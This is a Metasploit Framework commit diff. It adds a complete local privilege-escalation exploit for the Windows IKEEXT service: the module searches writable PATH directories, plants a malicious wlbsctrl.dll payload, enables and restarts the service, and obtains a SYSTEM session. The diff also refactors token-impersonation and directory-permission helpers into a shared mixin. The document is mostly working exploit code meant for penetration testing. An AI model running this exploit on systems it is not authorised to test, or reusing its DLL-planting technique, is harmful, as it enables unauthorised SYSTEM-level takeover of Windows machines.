Land #1054, @Meatballs1 exploit for IPsec Keying and more
commit
eb745af12f
|
@ -20,10 +20,16 @@ module Exploit::FileDropper
|
|||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
super
|
||||
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
|
@ -58,8 +64,6 @@ module Exploit::FileDropper
|
|||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -177,6 +177,71 @@ module Accounts
|
|||
:integrity_label
|
||||
][enum_value - 1]
|
||||
end
|
||||
|
||||
# Gets an impersonation token from the primary token.
|
||||
#
|
||||
# @return [Fixnum] the impersonate token handle identifier if success, nil if
|
||||
# fails
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Gets the permissions granted from the Security Descriptor of a directory
|
||||
# to an access token.
|
||||
#
|
||||
# @param [String] dir the directory path
|
||||
# @param [Fixnum] token the access token
|
||||
# @return [String, nil] a String describing the permissions or nil
|
||||
def check_dir_perms(dir, token)
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
buffer_size = 500
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
|
||||
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
elsif (f['GetLastError'] == 2)
|
||||
vprint_error("The system cannot find the file specified: #{dir}")
|
||||
return nil
|
||||
else
|
||||
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
end # Accounts
|
||||
end # Windows
|
||||
end # Post
|
||||
|
|
|
@ -0,0 +1,311 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'msf/core/post/windows/priv'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
|
||||
'Description' => %q{
|
||||
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
|
||||
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
|
||||
installations of Vista-Win8.
|
||||
It requires an insecure bin path to plant the DLL payload.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
|
||||
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
|
||||
],
|
||||
'DisclosureDate' => "Oct 09 2012",
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
|
||||
],
|
||||
'Platform' => [ 'win'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'SessionTypes' => [ "meterpreter" ],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'thread',
|
||||
'WfsDelay' => 5,
|
||||
'ReverseConnectRetries' => 255
|
||||
},
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
|
||||
])
|
||||
@service_name = 'IKEEXT'
|
||||
@load_lib_search_path = [ '%SystemRoot%\\System32',
|
||||
'%SystemRoot%\\System',
|
||||
'%SystemRoot%'
|
||||
]
|
||||
@non_existant_dirs = []
|
||||
end
|
||||
|
||||
def check_service_exists?(service)
|
||||
srv_info = service_info(service)
|
||||
|
||||
if srv_info.nil?
|
||||
print_warning("Unable to enumerate services.")
|
||||
return false
|
||||
end
|
||||
|
||||
if srv_info && srv_info['Name'].empty?
|
||||
print_warning("Service #{service} does not exist.")
|
||||
return false
|
||||
else
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
srv_info = service_info(@service_name)
|
||||
|
||||
if !check_service_exists?(@service_name)
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_status(srv_info.to_s)
|
||||
|
||||
case srv_info['Startup']
|
||||
when 'Disabled'
|
||||
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Manual'
|
||||
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
|
||||
return Exploit::CheckCode::Safe
|
||||
when 'Auto'
|
||||
print_good("Service is set to Automatically start...")
|
||||
end
|
||||
|
||||
if check_search_path
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def check_search_path
|
||||
dll = 'wlbsctrl.dll'
|
||||
|
||||
@load_lib_search_path.each do |path|
|
||||
dll_path = "#{expand_path(path)}\\#{dll}"
|
||||
|
||||
if file_exist?(dll_path)
|
||||
print_warning("DLL already exists at #{dll_path}...")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def check_system_path
|
||||
print_status("Checking %PATH% folders for write access...")
|
||||
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
|
||||
|
||||
if result.nil?
|
||||
print_error("Unable to retrieve %PATH% from registry.")
|
||||
return
|
||||
end
|
||||
|
||||
paths = result.split(';')
|
||||
paths.append(@load_lib_search_path).flatten!.uniq!
|
||||
|
||||
paths.each do |p|
|
||||
path = expand_path(p)
|
||||
if exist?(path)
|
||||
if check_write_access(path)
|
||||
return path
|
||||
end
|
||||
else
|
||||
# User may be able to create the path...
|
||||
print_status("Path #{path} does not exist...")
|
||||
@non_existant_dirs << path
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def check_write_access(path)
|
||||
perm = check_dir_perms(path, @token)
|
||||
if perm and perm.include?('W')
|
||||
print_good ("Write permissions in #{path} - #{perm}")
|
||||
return true
|
||||
elsif perm
|
||||
vprint_status ("Permissions for #{path} - #{perm}")
|
||||
else
|
||||
vprint_status ("No permissions for #{path}")
|
||||
end
|
||||
|
||||
return false
|
||||
end
|
||||
|
||||
def check_dirs
|
||||
print_status("Attempting to create a non-existant PATH dir to use.")
|
||||
@non_existant_dirs.each do |dir|
|
||||
begin
|
||||
client.fs.dir.mkdir(dir)
|
||||
if exist?(dir)
|
||||
register_file_for_cleanup(dir)
|
||||
return dir
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_status("Unable to create dir: #{dir} - #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def check_session_arch
|
||||
if sysinfo['Architecture'] =~ /x64/i
|
||||
if payload_instance.arch.first == 'x86'
|
||||
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||
end
|
||||
else
|
||||
if payload_instance.arch.first =~ /64/i
|
||||
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
check_session_arch
|
||||
|
||||
begin
|
||||
@token = get_imperstoken
|
||||
rescue Rex::Post::Meterpreter::RequestError
|
||||
vprint_error("Error while using get_imperstoken: #{e}")
|
||||
end
|
||||
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
|
||||
|
||||
if is_system?
|
||||
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
|
||||
end
|
||||
|
||||
print_status("Checking service exists...")
|
||||
if !check_service_exists?(@service_name)
|
||||
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
|
||||
end
|
||||
|
||||
if is_uac_enabled?
|
||||
print_warning("UAC is enabled, may get false negatives on writable folders.")
|
||||
end
|
||||
|
||||
if datastore['DIR'].empty?
|
||||
# If DLL already exists in system folders, we dont want to overwrite by accident
|
||||
if check_search_path
|
||||
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
|
||||
end
|
||||
|
||||
file_path = check_system_path
|
||||
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
|
||||
|
||||
if file_path.nil?
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
|
||||
end
|
||||
else
|
||||
# Use manually selected Dir
|
||||
file_path = datastore['DIR']
|
||||
end
|
||||
|
||||
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
|
||||
|
||||
service_information = service_info(@service_name)
|
||||
|
||||
if service_information['Startup'] == 'Disabled'
|
||||
print_status("Service is disabled, attempting to enable...")
|
||||
service_change_startup(@service_name, 'auto')
|
||||
service_information = service_info(@service_name)
|
||||
|
||||
# Still disabled
|
||||
if service_information['Startup'] == 'Disabled'
|
||||
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
|
||||
end
|
||||
end
|
||||
|
||||
# Check architecture
|
||||
dll = generate_payload_dll
|
||||
|
||||
#
|
||||
# Drop the malicious executable into the path
|
||||
#
|
||||
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
|
||||
begin
|
||||
write_file(@dll_file_path, dll)
|
||||
register_file_for_cleanup(@dll_file_path)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
# Can't write the file, can't go on
|
||||
fail_with(Exploit::Failure::Unknown, e.message)
|
||||
end
|
||||
|
||||
#
|
||||
# Run the service, let the Windows API do the rest
|
||||
#
|
||||
print_status("Launching service #{@service_name}...")
|
||||
|
||||
begin
|
||||
status = service_start(@service_name)
|
||||
if status == 1
|
||||
print_status("Service already running, attempting to restart...")
|
||||
if service_stop(@service_name) == 0
|
||||
print_status("Service stopped, attempting to start...")
|
||||
if service_start(@service_name) == 0
|
||||
print_status("Service started...")
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
|
||||
end
|
||||
elsif status == 0
|
||||
print_status("Service started...")
|
||||
end
|
||||
rescue RuntimeError => e
|
||||
raise e if e.kind_of? Msf::Exploit::Failed
|
||||
if service_information['Startup'] == 'Manual'
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
|
||||
else
|
||||
if job_id
|
||||
print_status("Unable to start service, handler running waiting for a reboot...")
|
||||
while(true)
|
||||
break if session_created?
|
||||
select(nil,nil,nil,1)
|
||||
end
|
||||
else
|
||||
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -11,6 +11,7 @@ require 'msf/core/post/common'
|
|||
class Metasploit3 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
include Msf::Post::Windows::Accounts
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -40,60 +41,6 @@ class Metasploit3 < Msf::Post
|
|||
], self.class)
|
||||
end
|
||||
|
||||
def get_imperstoken
|
||||
adv = session.railgun.advapi32
|
||||
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
|
||||
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
|
||||
tok_all << " | TOKEN_ADJUST_DEFAULT"
|
||||
|
||||
#get impersonation token handle it["DuplicateTokenhandle"] carries this value
|
||||
#p = kern.GetCurrentProcess() #get handle to current process
|
||||
pid = session.sys.process.open.pid
|
||||
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
|
||||
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
|
||||
if it["return"] #if it fails return 0 for error handling
|
||||
return it["DuplicateTokenHandle"]
|
||||
else
|
||||
return 0
|
||||
end
|
||||
end
|
||||
|
||||
def check_dir(dir, token)
|
||||
# If path doesn't exist, do not continue
|
||||
begin
|
||||
session.fs.dir.entries(dir)
|
||||
rescue => e
|
||||
vprint_error("#{e.message}: #{dir}")
|
||||
return nil
|
||||
end
|
||||
|
||||
adv = session.railgun.advapi32
|
||||
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
|
||||
result = ""
|
||||
|
||||
#define generic mapping structure
|
||||
gen_map = [0,0,0,0]
|
||||
gen_map = gen_map.pack("L")
|
||||
|
||||
#get Security Descriptor for the directory
|
||||
f = adv.GetFileSecurityA(dir, si, 20, 20, 4)
|
||||
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
|
||||
sd = f["pSecurityDescriptor"]
|
||||
|
||||
#check for write access, called once to get buffer size
|
||||
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
|
||||
len = a["PrivilegeSetLength"]
|
||||
|
||||
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
|
||||
if !r["return"] then return nil end
|
||||
if r["GrantedAccess"] > 0 then result << "R" end
|
||||
|
||||
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
|
||||
if !w["return"] then return nil end
|
||||
if w["GrantedAccess"] > 0 then result << "W" end
|
||||
end
|
||||
|
||||
def enum_subdirs(perm_filter, dpath, maxdepth, token)
|
||||
filter = datastore['FILTER']
|
||||
filter = nil if datastore['FILTER'] == 'NA'
|
||||
|
@ -110,7 +57,7 @@ class Metasploit3 < Msf::Post
|
|||
next if d =~ /^(\.|\.\.)$/
|
||||
realpath = dpath + '\\' + d
|
||||
if session.fs.file.stat(realpath).directory?
|
||||
perm = check_dir(realpath, token)
|
||||
perm = check_dir_perms(realpath, token)
|
||||
if perm_filter and perm and perm.include?(perm_filter)
|
||||
print_status(perm + "\t" + realpath)
|
||||
end
|
||||
|
@ -144,7 +91,7 @@ class Metasploit3 < Msf::Post
|
|||
t = get_imperstoken()
|
||||
rescue ::Exception => e
|
||||
# Failure due to timeout, access denied, etc.
|
||||
t = 0
|
||||
t = nil
|
||||
vprint_error("Error #{e.message} while using get_imperstoken()")
|
||||
vprint_error(e.backtrace)
|
||||
end
|
||||
|
@ -158,7 +105,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
print_status("Checking directory permissions from: #{path}")
|
||||
|
||||
perm = check_dir(path, token)
|
||||
perm = check_dir_perms(path, token)
|
||||
if not perm.nil?
|
||||
# Show the permission of the parent directory
|
||||
if perm_filter and perm.include?(perm_filter)
|
||||
|
@ -188,7 +135,7 @@ class Metasploit3 < Msf::Post
|
|||
|
||||
t = get_token
|
||||
|
||||
if t == 0
|
||||
unless t
|
||||
print_error("Getting impersonation token failed")
|
||||
else
|
||||
print_status("Got token: #{t.to_s}...")
|
||||
|
|
Loading…
Reference in New Issue